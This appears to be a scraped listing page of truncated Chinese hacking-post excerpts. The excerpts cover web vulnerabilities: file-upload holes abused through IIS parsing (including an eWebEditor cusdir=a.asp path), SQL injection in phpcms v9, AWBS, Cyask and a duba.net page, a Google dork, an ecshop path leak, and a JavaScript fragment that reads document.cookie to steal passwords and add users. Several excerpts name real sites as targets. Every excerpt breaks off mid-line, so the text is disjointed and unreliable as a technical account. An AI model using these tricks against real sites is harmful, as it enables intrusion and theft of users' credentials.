操作系统

　　今天日站发现的…. 　　http://www.xxx.net/manage/Modle/UploadFile/ListFiles.aspx 上传洞洞 　　上传后没改文件名!可以IIS解析 　　后面的事,你懂的~ 　　有点像FCK ...

config_global.php 复制代码 代码如下: 　　$_config[\’cache\’][\’type\’] = ‘file’; 　　function cachedat...

　　续本地包含 　　include/arc.datalist.class.php 　　$codefile = (isset($needCode) ? $needCode : $cfg_soft_lang); 　　if(file_exists(DEDEI...

　　首发：红科网安 　　作者：Amxking 　　漏洞程序：dedecms5.5 　　测试对象：织梦网CMS官方网站 　　提交时间：2010-03-17 　　漏洞类型：信息泄露 　　危险等级：低 　　漏洞描述： 　　dedecms 5.5程序泄露网站路...

　　影响版本：phpcms v9 blind 　　官方网站：http://www.phpcms.cn 　　漏洞类型：SQL注入 　　漏洞描述：phpcms v9 blind 参数过滤存在SQL注入漏洞。 　　google dork:inurl:&quo...

先访问这个地址 Editor/asp/upload.asp?action=save&type=image&style=popup&cusdir=a.asp 访问这个地址可以建立个A.ASP的文件夹……...

　　影响版本：AWBS 2.9.2 　　官方网站：http://www.awbs.com 　　漏洞类型：SQL注入 　　漏洞描述： 　　—Vulnerability— 　　http(s)://[HOST]/cart?ca=add...

　　PHP网页的安全性问题 　　针对PHP的网站主要存在下面几种攻击方式: 　　1.命令注入(Command Injection) 　　2.eval注入(Eval Injection) 　　3.客户端脚本攻击(ｓｃｒｉｐｔ Insertion) 　　4...

　　第一个 　　简要描述：由于变量过滤不严产生SQL注入漏洞 可通过入侵手段 拿到站点权限 　　详细说明：http://labs.duba.net/kws/feedback2/his.php?uuid=622D988684F34161BC09E869D...

影响版本: Cyask 程序介绍: Cyask国内较为多人使用的仿百度风格的Ask系统。 漏洞分析: 从Collect.php代码当中可以看到 else { /* 检查网址 */ $url=get_referer(); $neturl=emptyemp...

　　ecshop爆绝对路径的bug 　　网址如下" 　　http://www.zzfhw.com/ECShop/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/se...

　　Js里可以写shell，添加用户，偷取COOKIE然后模拟出真正的转向 　　xmlhttp=poster(); 　　cookie=document.cookie; 　　login=cookie.indexOf(‘password&rsq...